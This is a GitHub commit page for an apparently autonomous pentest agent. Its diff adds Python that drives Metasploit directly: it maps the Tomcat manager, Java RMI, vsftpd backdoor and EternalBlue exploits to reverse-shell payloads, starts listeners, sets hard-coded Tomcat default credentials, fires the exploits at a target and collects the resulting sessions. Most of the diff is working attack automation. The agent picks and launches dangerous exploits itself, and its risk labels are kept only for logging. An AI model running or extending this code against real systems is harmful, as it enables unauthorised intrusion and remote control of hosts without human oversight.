Skip to content

Commit e4709c0

Browse files
committed
debug: add exploit execution logging
2 parents 8c13a54 + e682d8a commit e4709c0

7 files changed

Lines changed: 288 additions & 112 deletions

File tree

agent/action_executor.py

Lines changed: 93 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -113,12 +113,51 @@ def _execute_recon(self, decision: Dict):
113113

114114
# ── Phase 3: Exploitation ─────────────────────────────────────────────
115115

116+
# Handler config per module: (payload, lport)
117+
_HANDLER_CONFIGS = {
118+
"exploit/multi/http/tomcat_mgr_deploy": ("java/meterpreter/reverse_tcp", 4444),
119+
"exploit/multi/misc/java_rmi_server": ("java/meterpreter/reverse_tcp", 4446),
120+
"exploit/unix/ftp/vsftpd_234_backdoor": ("cmd/unix/reverse_perl", 4445),
121+
"exploit/windows/smb/ms17_010_eternalblue": ("windows/x64/meterpreter/reverse_tcp", 4447),
122+
}
123+
124+
@staticmethod
125+
def _get_local_ip() -> str:
126+
import socket as _sock
127+
try:
128+
s = _sock.socket(_sock.AF_INET, _sock.SOCK_DGRAM)
129+
s.connect(("8.8.8.8", 80))
130+
return s.getsockname()[0]
131+
except Exception:
132+
return "0.0.0.0"
133+
finally:
134+
try:
135+
s.close()
136+
except Exception:
137+
pass
138+
139+
def _start_msf_handler(self, lhost: str, lport: int, payload: str):
140+
"""Start a multi/handler listener to receive the reverse callback."""
141+
try:
142+
handler = self.msf_client.modules.use("exploit", "multi/handler")
143+
handler["PAYLOAD"] = payload
144+
handler["LHOST"] = lhost
145+
handler["LPORT"] = lport
146+
handler["ExitOnSession"] = False
147+
pay = self.msf_client.modules.use("payload", payload)
148+
pay["LHOST"] = lhost
149+
pay["LPORT"] = lport
150+
handler.execute(payload=pay)
151+
time.sleep(2) # give the handler time to bind
152+
logger.info(f"MSF handler started: {payload} on {lhost}:{lport}")
153+
except Exception as exc:
154+
logger.warning(f"Failed to start MSF handler: {exc}")
155+
116156
def _execute_exploit(self, decision: Dict):
117157
host = decision.get("target_host", self.state.target)
118158
port = str(decision.get("target_port", 0))
119159
module = decision.get("module_or_cmd", "")
120160
tool = decision.get("tool", "").lower()
121-
key = (host, port, module)
122161

123162
if self.state.has_tried(host, int(port) if port.isdigit() else 0, module):
124163
logger.info(f"Skipping already-tried exploit: {module} on {host}:{port}")
@@ -128,22 +167,67 @@ def _execute_exploit(self, decision: Dict):
128167

129168
if tool == "metasploit" and self.msf_client:
130169
try:
131-
from exploitation.metasploit_engine import MetasploitEngine
132-
eng = MetasploitEngine()
133-
eng._client = self.msf_client
134-
result = eng.run_module(host, port, module)
135-
if result.get("status") == "success":
170+
lhost = self._get_local_ip()
171+
handler_cfg = self._HANDLER_CONFIGS.get(module)
172+
173+
# Start handler BEFORE exploit for reverse payloads
174+
if handler_cfg:
175+
payload_name, lport = handler_cfg
176+
print(f"[AGENT] Starting handler {payload_name} on {lhost}:{lport}")
177+
self._start_msf_handler(lhost, lport, payload_name)
178+
else:
179+
payload_name = None
180+
lport = None
181+
182+
# Build and configure the MSF module DIRECTLY (no MetasploitEngine wrapper)
183+
module_type = module.split("/")[0]
184+
module_path = "/".join(module.split("/")[1:])
185+
print(f"[DEBUG] Lancement module : {module}")
186+
187+
client = self.msf_client
188+
mod = client.modules.use(module_type, module_path)
189+
mod["RHOSTS"] = host
190+
if port and port != "0":
191+
mod["RPORT"] = str(port)
192+
if lhost and payload_name:
193+
mod["LHOST"] = lhost
194+
mod["LPORT"] = str(lport)
195+
196+
# Tomcat default credentials
197+
if "tomcat" in module.lower():
198+
mod["HttpUsername"] = "tomcat"
199+
mod["HttpPassword"] = "tomcat"
200+
201+
print(f"[DEBUG] Options : RHOSTS={host}, RPORT={port}, "
202+
f"PAYLOAD={payload_name}, LHOST={lhost}, LPORT={lport}")
203+
204+
if payload_name:
205+
pay = client.modules.use("payload", payload_name)
206+
pay["LHOST"] = lhost
207+
pay["LPORT"] = str(lport)
208+
raw_result = mod.execute(payload=pay)
209+
else:
210+
raw_result = mod.execute()
211+
212+
print(f"[DEBUG] Résultat brut execute() : {raw_result}")
213+
print(f"[DEBUG] Type résultat : {type(raw_result)}")
214+
215+
# execute() returns dict {"job_id": ..., "uuid": ...}, int, or bool
216+
if isinstance(raw_result, bool) and not raw_result:
217+
logger.warning(f"Module execute() returned False — exploit failed")
218+
else:
136219
self.state.exploits_success.append({"host": host, "module": module})
137220
self.bus.publish(Event(
138221
type=EventType.EXPLOIT_SUCCESS,
139222
data={"host": host, "port": port, "module": module},
140223
source="executor",
141224
))
142-
# Wait 8s — Meterpreter payloads (Tomcat, java) are slower to callback
143-
time.sleep(8)
225+
wait = 15 if handler_cfg else 8
226+
print(f"[AGENT] Waiting {wait}s for session callback...")
227+
time.sleep(wait)
144228
try:
145229
sessions = self.msf_client.sessions.list or {}
146-
print(f"[DEBUG] Sessions après exploit : {sessions}")
230+
print(f"[DEBUG] Sessions après {wait}s : {sessions}")
147231
for sid, sinfo in sessions.items():
148232
sid_str = str(sid)
149233
if sid_str not in self.state.sessions:

exploitation/decision.py

Lines changed: 10 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -2,18 +2,17 @@
22

33
logger = logging.getLogger("pentest-agent.decision")
44

5-
# Risk classification kept for logging purposes only
65
RISK_MAP = {
7-
"brute_force": "safe",
8-
"web_scan": "safe",
9-
"exploit_search": "safe",
10-
"sql_injection": "moderate",
11-
"wp_scan": "safe",
12-
"msf_auxiliary": "safe",
13-
"msf_exploit": "dangerous",
14-
"rce": "dangerous",
15-
"dos": "dangerous",
16-
"buffer_overflow":"dangerous",
6+
"brute_force": "safe",
7+
"web_scan": "safe",
8+
"exploit_search": "safe",
9+
"sql_injection": "moderate",
10+
"wp_scan": "safe",
11+
"msf_auxiliary": "safe",
12+
"msf_exploit": "dangerous",
13+
"rce": "dangerous",
14+
"dos": "dangerous",
15+
"buffer_overflow": "dangerous",
1716
}
1817

1918

0 commit comments

Comments
 (0)